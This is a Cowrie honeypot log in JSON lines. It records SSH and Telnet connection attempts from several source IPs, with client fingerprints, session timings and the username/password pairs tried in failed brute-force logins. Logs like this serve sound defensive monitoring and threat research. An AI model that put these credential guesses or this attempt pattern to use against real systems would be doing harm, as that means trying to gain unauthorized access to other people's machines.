{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:19.079388Z","src_ip":"45.153.34.112","session":"f3e44b323c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:20.165985Z","src_ip":"45.153.34.112","session":"f3e44b323c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46836,"dst_ip":"10.17.0.5","dst_port":23,"session":"863f829399ca","protocol":"telnet","message":"New connection: 192.119.13.58:46836 (10.17.0.5:23) [session: 863f829399ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:21.043580Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56012,"dst_ip":"10.17.0.5","dst_port":22,"session":"509ddb47ca97","protocol":"ssh","message":"New connection: 45.153.34.112:56012 (10.17.0.5:22) [session: 509ddb47ca97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:22.399818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:22.405654Z","src_ip":"45.153.34.112","session":"509ddb47ca97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:22.490577Z","src_ip":"45.153.34.112","session":"509ddb47ca97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:22.737309Z","src_ip":"45.153.34.112","session":"509ddb47ca97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:23.824612Z","src_ip":"45.153.34.112","session":"509ddb47ca97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45496,"dst_ip":"10.17.0.5","dst_port":23,"session":"06330c1ffd60","protocol":"telnet","message":"New connection: 192.119.13.58:45496 (10.17.0.5:23) [session: 06330c1ffd60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:25.303599Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56024,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9db70f131c","protocol":"ssh","message":"New connection: 45.153.34.112:56024 (10.17.0.5:22) [session: eb9db70f131c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:26.009599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:26.018649Z","src_ip":"45.153.34.112","session":"eb9db70f131c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:26.103159Z","src_ip":"45.153.34.112","session":"eb9db70f131c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50034,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0e897dd772","protocol":"telnet","message":"New connection: 192.119.13.58:50034 (10.17.0.5:23) [session: 2e0e897dd772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:26.179900Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:26.357891Z","src_ip":"45.153.34.112","session":"eb9db70f131c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:27.471356Z","src_ip":"45.153.34.112","session":"eb9db70f131c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56032,"dst_ip":"10.17.0.5","dst_port":22,"session":"047f248a0538","protocol":"ssh","message":"New connection: 45.153.34.112:56032 (10.17.0.5:22) [session: 047f248a0538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:29.430501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:29.485741Z","src_ip":"45.153.34.112","session":"047f248a0538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:29.535814Z","src_ip":"45.153.34.112","session":"047f248a0538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:29.848587Z","src_ip":"45.153.34.112","session":"047f248a0538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54564,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cd7ff44a52","protocol":"telnet","message":"New connection: 192.119.13.58:54564 (10.17.0.5:23) [session: d9cd7ff44a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:30.607846Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f991f43dcc51","protocol":"ssh","message":"New connection: 194.113.233.25:34852 (10.17.0.5:22) [session: f991f43dcc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:30.630108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:30.635562Z","src_ip":"194.113.233.25","session":"f991f43dcc51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:30.732507Z","src_ip":"194.113.233.25","session":"f991f43dcc51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:30.972247Z","src_ip":"45.153.34.112","session":"047f248a0538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:31.015865Z","src_ip":"194.113.233.25","session":"f991f43dcc51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:32.111665Z","src_ip":"194.113.233.25","session":"f991f43dcc51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.792107820510864,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:32.793035Z","src_ip":"192.119.13.58","session":"9e5136765fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51964,"dst_ip":"10.17.0.5","dst_port":22,"session":"0812a5c1171a","protocol":"ssh","message":"New connection: 45.153.34.112:51964 (10.17.0.5:22) [session: 0812a5c1171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:33.203808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:33.209062Z","src_ip":"45.153.34.112","session":"0812a5c1171a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:33.295739Z","src_ip":"45.153.34.112","session":"0812a5c1171a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:33.542509Z","src_ip":"45.153.34.112","session":"0812a5c1171a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:34.645085Z","src_ip":"45.153.34.112","session":"0812a5c1171a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.486289501190186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:35.588804Z","src_ip":"192.119.13.58","session":"09e3454768cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65882706642151,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:36.246763Z","src_ip":"192.119.13.58","session":"a6b7302909df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51970,"dst_ip":"10.17.0.5","dst_port":22,"session":"d796f9fb0f3e","protocol":"ssh","message":"New connection: 45.153.34.112:51970 (10.17.0.5:22) [session: d796f9fb0f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:36.808515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:36.813793Z","src_ip":"45.153.34.112","session":"d796f9fb0f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:36.897450Z","src_ip":"45.153.34.112","session":"d796f9fb0f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:37.147279Z","src_ip":"45.153.34.112","session":"d796f9fb0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:38.234250Z","src_ip":"45.153.34.112","session":"d796f9fb0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57246,"dst_ip":"10.17.0.5","dst_port":23,"session":"356eefccbc18","protocol":"telnet","message":"New connection: 192.119.13.58:57246 (10.17.0.5:23) [session: 356eefccbc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:38.245424Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52868,"dst_ip":"10.17.0.5","dst_port":22,"session":"738f5f62d8bf","protocol":"ssh","message":"New connection: 45.153.34.112:52868 (10.17.0.5:22) [session: 738f5f62d8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:40.283530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:40.289176Z","src_ip":"45.153.34.112","session":"738f5f62d8bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:40.372700Z","src_ip":"45.153.34.112","session":"738f5f62d8bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:40.637595Z","src_ip":"45.153.34.112","session":"738f5f62d8bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38754,"dst_ip":"10.17.0.5","dst_port":23,"session":"31df2ee170f0","protocol":"telnet","message":"New connection: 192.119.13.58:38754 (10.17.0.5:23) [session: 31df2ee170f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:40.689842Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27472,"dst_ip":"10.17.0.5","dst_port":22,"session":"65068d128b8a","protocol":"ssh","message":"New connection: 38.93.206.2:27472 (10.17.0.5:22) [session: 65068d128b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:41.181190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:41.186862Z","src_ip":"38.93.206.2","session":"65068d128b8a","protocol":"ssh"}
